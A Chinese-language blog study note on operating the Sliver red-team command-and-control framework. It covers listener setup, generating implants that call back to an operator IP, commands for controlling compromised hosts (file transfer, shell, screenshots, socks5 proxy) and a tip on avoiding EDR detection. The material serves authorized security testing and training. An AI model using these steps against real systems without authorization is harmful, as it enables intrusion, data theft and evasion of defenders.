【笔记】Sliver学习笔记

前言

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver’s implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.(Github

下载依赖

1
2
3
4
5
wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux

wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-client_linux
chmod +x sliver-client_linux

启动服务端

1
./sliver-server_linux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Sliver  Copyright (C) 2022  Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.

Unpacking assets ...

██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███
▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒
▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░

All hackers gain prowess
[*] Server v1.5.42 - xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

[server] sliver >

生成用于登录服务端的配置文件

--name <name>:指定配置文件使用者用户名
--lhost <ip>:指定服务端的IP地址
--lport <port>:指定服务端提供服务的端口号,如果不指定默认为31337

1
[server] sliver > new-operator --name <name> --lhost <ip>
  • 得到import <name>_<ip>.cfg客户端配置文件

启用多用户

-l <port>:指定服务端提供服务的端口号

1
[server] sliver > multiplayer -l <port>

启动客户端

  • 在客户端通过客户端配置文件登录服务端

导入客户端配置文件

  • 如果客户端配置文件只有一个,则无需导入,直接启动客户端即可
1
./sliver-client_linux import <name>_<ip>.cfg
1
Saved new client config to: ~/.sliver-client/configs/<name>_<ip>.cfg

启动客户端

  • 如果已经导入了多个配置文件,需要选择使用哪个配置文件
1
./sliver-client_linux
1
sliver > 

查看帮助

1
sliver > help

查看jobs

1
sliver > jobs

启动监听器(Listener)

查看监听器帮助

1
sliver > 协议名 -h

启动WG协议的监听器

-l <port>:指定监听端口号,如果不指定默认为UDP协议的53端口

1
sliver > wg

启动MTLS协议的监听器

  • 双向TLS协议

-l <port>:指定监听端口号,如果不指定默认为8888

1
sliver > mtls

启动HTTP协议的监听器

-l <port>:指定监听端口号,如果不指定默认为80

1
sliver > http

启动HTTPS协议的监听器

-l <port>:指定监听端口号,如果不指定默认为443

1
sliver > https

生成植入物(Implant)

生成Session模式的植入物

  • 客户端保持与服务端的长连接

生成MTLS协议的植入物

<ip><ip>:<port>:指定服务端IP地址和端口号,端口号如果不指定默认为8888
--os <os>:指定植入物运行的平台

windowslinuxmacos

--arch <arch>:指定平台架构

x86amd64

--save <dir>:指定植入物文件保存的目录

1
sliver > generate --mtls <ip>
1
sliver > generate --mtls <ip>:<port>

多协议

1
sliver > generate --mtls <ip> --dns <domain>

多地址

1
sliver > generate --mtls <ip>,<domain>

生成Beacon模式的植入物

  • 客户端定时与服务端汇报
  • Beacon建立连接后可以转换为Session模式
1
sliver > generate beacon --mtls <ip>

再次生成

  • 使用上一次的配置再次生成
1
sliver > regenerate

Session的相关命令

查看帮助

1
sliver > sessions -h

查看所有的Session

1
sliver > sessions

结束所有的Session

1
sliver > sessions -K

根据Session编号进入到会话

1
sliver > session <session_uuid>

Beacon的相关命令

查看帮助

1
sliver > beacons -h

查看所有的Beacon

1
sliver > beacons

持续查看

1
sliver > beacons watch

结束所有的Beacon

1
sliver > beacons -K

进入会话后的相关命令

查看所有植入物

1
sliver (<implant_name>) > implants

查看会话信息

1
sliver (<implant_name>) > info

查看当前用户

1
sliver (<implant_name>) > whoami

查看网络信息

1
sliver (<implant_name>) > ifconfig

查看端口

1
sliver (<implant_name>) > netstat

文件系统操作

查看当前目录

1
sliver (<implant_name>) > pwd

查看文件内容

1
sliver (<implant_name>) > cat <file>

切换目录

1
sliver (<implant_name>) > cd <dir>

查看当前目录的目录和文件

1
sliver (<implant_name>) > ls

移动文件

1
sliver (<implant_name>) > mv <file_old> <file_new>

重命名文件

1
sliver (<implant_name>) > rename <file_old> <file_new>

删除文件

1
sliver (<implant_name>) > rm <file>

创建目录

1
sliver (<implant_name>) > mkdir <dir>

查看进程

1
sliver (<implant_name>) > ps

文件上传和下载

文件上传

1
sliver (<implant_name>) > upload <file_local> <file_remote>

文件下载

1
sliver (<implant_name>) > download <file_remote> <file_local>

获取id

获取uid

1
sliver (<implant_name>) > getuid

获取gid

1
sliver (<implant_name>) > getgid

获取pid

1
sliver (<implant_name>) > getpid

退出会话

  • 退出会话但不退出进程
1
sliver (<implant_name>) > close

退出进程

1
sliver (<implant_name>) > kill

截屏

1
sliver (<implant_name>) > screenshot

执行二进制文件

1
sliver (<implant_name>) > execute-assembly

执行Shell命令

1
sliver (<implant_name>) > execute -o <shell>

启动交互式Shell

  • Shell命令会导致日志的生成,而且目前没有实现参数混淆,会导致edr发现你的敏感操作
  • 少在Shell中使用原生命令,转而使用框架自带命令,因为那些原生命令处于监控之中
1
sliver (<implant_name>) > shell

创建Socks5代理

1
sliver (<implant_name>) > socks5

Beacon模式的相关命令

Beacon模式转换为Session模式

查看帮助
1
sliver (<implant_name>) > interactive -h
自动选择Session模式使用的协议
1
sliver (<implant_name>) > interactive
手动指定Session模式使用的协议
1
sliver (<implant_name>) > interactive --mtls <ip>:<port>

设置回连时间

-i 1s:指定回连时间
-j 0s:指定偏移量

1
sliver (<implant_name>) > reconfig -i 1s -j 0s

完成

参考文献

Jesen的博客
哔哩哔哩——5号黯区红队攻防